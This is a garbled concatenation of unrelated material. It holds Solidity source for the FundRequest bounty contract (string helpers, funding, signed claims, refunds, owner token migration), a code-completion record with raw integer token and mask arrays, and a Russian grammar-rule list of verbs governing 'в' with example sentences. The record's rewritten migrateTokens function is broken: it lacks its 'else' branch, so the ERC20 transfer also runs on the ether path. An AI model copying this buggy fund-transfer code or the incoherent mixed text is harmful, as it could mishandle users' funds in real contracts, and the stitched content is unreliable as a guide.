pure returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal pure returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal pure returns (string) { string memory ret = new string(self._len + other._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal pure returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for (uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly {retptr := add(ret, 32)} for (i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } /* * Additions by the FundRequest Team */ function toBytes32(slice self) internal pure returns (bytes32 result) { string memory source = toString(self); bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function strConcat(string _a, string _b, string _c, string _d, string _e) pure internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) pure internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) pure internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) pure internal returns (string) { return strConcat(_a, _b, "", "", ""); } function addressToString(address x) internal pure returns (string) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { byte b = byte(uint8(uint(x) / (2 ** (8 * (19 - i))))); byte hi = byte(uint8(b) / 16); byte lo = byte(uint8(b) - 16 * uint8(hi)); s[2 * i] = charToByte(hi); s[2 * i + 1] = charToByte(lo); } return strConcat("0x", string(s)); } function charToByte(byte b) internal pure returns (byte c) { if (b < 10) return byte(uint8(b) + 0x30); else return byte(uint8(b) + 0x57); } function bytes32ToString(bytes32 x) internal pure returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte ch = byte(bytes32(uint(x) * 2 ** (8 * j))); if (ch != 0) { bytesString[charCount] = ch; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } contract Precondition is Owned { string public name; uint public version; bool public active = false; constructor(string _name, uint _version, bool _active) public { name = _name; version = _version; active = _active; } function setActive(bool _active) external onlyOwner { active = _active; } function isValid(bytes32 _platform, string _platformId, address _token, uint256 _value, address _funder) external view returns (bool valid); } /* * Main FundRequest Contract. The entrypoint for every claim/refund * Davy Van Roy * Quinten De Swaef */ contract FundRequestContract is Callable, ApproveAndCallFallBack { using SafeMath for uint256; using strings for *; event Funded(address indexed from, bytes32 platform, string platformId, address token, uint256 value); event Claimed(address indexed solverAddress, bytes32 platform, string platformId, string solver, address token, uint256 value); event Refund(address indexed owner, bytes32 platform, string platformId, address token, uint256 value); address constant public ETHER_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; //repositories FundRepository public fundRepository; ClaimRepository public claimRepository; address public claimSignerAddress; Precondition[] public preconditions; constructor(address _fundRepository, address _claimRepository) public { setFundRepository(_fundRepository); setClaimRepository(_claimRepository); } //ENTRYPOINTS /* * Public function, can only be called from the outside. * Fund an issue, providing a token and value. * Requires an allowance > _value of the token. */ function fund(bytes32 _platform, string _platformId, address _token, uint256 _value) external returns (bool success) { require(doFunding(_platform, _platformId, _token, _value, msg.sender), "funding with token failed"); return true; } /* * Public function, can only be called from the outside. * Fund an issue, ether as value of the transaction. * Requires ether to be whitelisted in a precondition. */ function etherFund(bytes32 _platform, string _platformId) payable external returns (bool success) { require(doFunding(_platform, _platformId, ETHER_ADDRESS, msg.value, msg.sender), "funding with ether failed"); return true; } /* * Public function, supposed to be called from another contract, after receiving approval * Funds an issue, expects platform, platformid to be concatted with |AAC| as delimiter and provided as _data * Only used with the FundRequest approveAndCall function at the moment. Might be removed later in favor of 2 calls. */ function receiveApproval(address _from, uint _amount, address _token, bytes _data) public { var sliced = string(_data).toSlice(); var platform = sliced.split("|AAC|".toSlice()); var platformId = sliced.split("|AAC|".toSlice()); require(doFunding(platform.toBytes32(), platformId.toString(), _token, _amount, _from)); } /* * Claim: Public function, only supposed to be called from the outside * Anyone can call this function, but a valid signature from FundRequest is required */ function claim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) public returns (bool) { require(validClaim(platform, platformId, solver, solverAddress, r, s, v), "Claimsignature was not valid"); uint256 tokenCount = fundRepository.getFundedTokenCount(platform, platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(platform, platformId, i); uint256 tokenAmount = fundRepository.claimToken(platform, platformId, token); if (token == ETHER_ADDRESS) { solverAddress.transfer(tokenAmount); } else { require(ERC20(token).transfer(solverAddress, tokenAmount), "transfer of tokens from contract failed"); } require(claimRepository.addClaim(solverAddress, platform, platformId, solver, token, tokenAmount), "adding claim to repository failed"); emit Claimed(solverAddress, platform, platformId, solver, token, tokenAmount); } require(fundRepository.finishResolveFund(platform, platformId), "Resolving the fund failed"); return true; } /* * Claim: Public function, only supposed to be called from the outside * Only FundRequest can call this function for now, which will refund a user for a specific issue. */ function refund(bytes32 _platform, string _platformId, address _funder) external onlyCaller returns (bool) { uint256 tokenCount = fundRepository.getFundedTokenCount(_platform, _platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(_platform, _platformId, i); uint256 tokenAmount = fundRepository.refundToken(_platform, _platformId, _funder, token); if (tokenAmount > 0) { if (token == ETHER_ADDRESS) { _funder.transfer(tokenAmount); } else { require(ERC20(token).transfer(_funder, tokenAmount), "transfer of tokens from contract failed"); } } emit Refund(_funder, _platform, _platformId, token, tokenAmount); } } /* * only called from within the this contract itself, will actually do the funding */ function doFunding(bytes32 _platform, string _platformId, address _token, uint256 _value, address _funder) internal returns (bool success) { if (_token == ETHER_ADDRESS) { //must check this, so we don't have people foefeling with the amounts require(msg.value == _value); } require(!fundRepository.issueResolved(_platform, _platformId), "Can't fund tokens, platformId already claimed"); for (uint idx = 0; idx < preconditions.length; idx++) { if (address(preconditions[idx]) != address(0)) { require(preconditions[idx].isValid(_platform, _platformId, _token, _value, _funder)); } } require(_value > 0, "amount of tokens needs to be more than 0"); if (_token != ETHER_ADDRESS) { require(ERC20(_token).transferFrom(_funder, address(this), _value), "Transfer of tokens to contract failed"); } fundRepository.updateFunders(_funder, _platform, _platformId); fundRepository.updateBalances(_funder, _platform, _platformId, _token, _value); emit Funded(_funder, _platform, _platformId, _token, _value); return true; } /* * checks if a claim is valid, by checking the signature */ function validClaim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) internal view returns (bool) { bytes32 h = keccak256(abi.encodePacked(createClaimMsg(platform, platformId, solver, solverAddress))); address signerAddress = ecrecover(h, v, r, s); return claimSignerAddress == signerAddress; } function createClaimMsg(bytes32 platform, string platformId, string solver, address solverAddress) internal pure returns (string) { return strings.bytes32ToString(platform) .strConcat(prependUnderscore(platformId)) .strConcat(prependUnderscore(solver)) .strConcat(prependUnderscore(strings.addressToString(solverAddress))); } function addPrecondition(address _precondition) external onlyOwner { preconditions.push(Precondition(_precondition)); } function removePrecondition(uint _index) external onlyOwner { if (_index >= preconditions.length) return; for (uint i = _index; i < preconditions.length - 1; i++) { preconditions[i] = preconditions[i + 1]; } delete preconditions[preconditions.length - 1]; preconditions.length--; } function setFundRepository(address _repositoryAddress) public onlyOwner { fundRepository = FundRepository(_repositoryAddress); } function setClaimRepository(address _claimRepository) public onlyOwner { claimRepository = ClaimRepository(_claimRepository); } function setClaimSignerAddress(address _claimSignerAddress) addressNotNull(_claimSignerAddress) public onlyOwner { claimSignerAddress = _claimSignerAddress; } function prependUnderscore(string str) internal pure returns (string) { return "_".strConcat(str); } //required to be able to migrate to a new FundRequestContract function migrateTokens(address _token, address newContract) external onlyOwner { require(newContract != address(0)); if (_token == ETHER_ADDRESS) { newContract.transfer(address(this).balance); } else { ERC20 token = ERC20(_token); token.transfer(newContract, token.balanceOf(address(this))); } } modifier addressNotNull(address target) { require(target != address(0), "target address can not be 0x0"); _; } //required should there be an issue with available ether function deposit() external onlyOwner payable { require(msg.value > 0, "Should at least be 1 wei deposited"); } }
required to be able to migrate to a new FundRequestContract
function migrateTokens(address _token, address newContract) external onlyOwner { require(newContract != address(0)); if (_token == ETHER_ADDRESS) { newContract.transfer(address(this).balance); ERC20 token = ERC20(_token); token.transfer(newContract, token.balanceOf(address(this))); } }
13,930,600
[ 1, 4718, 358, 506, 7752, 358, 13187, 358, 279, 394, 478, 1074, 691, 8924, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13187, 5157, 12, 2867, 389, 2316, 16, 1758, 394, 8924, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 2704, 8924, 480, 1758, 12, 20, 10019, 203, 3639, 309, 261, 67, 2316, 422, 512, 19905, 67, 15140, 13, 288, 203, 5411, 394, 8924, 18, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 5411, 4232, 39, 3462, 1147, 273, 4232, 39, 3462, 24899, 2316, 1769, 203, 5411, 1147, 18, 13866, 12, 2704, 8924, 16, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве 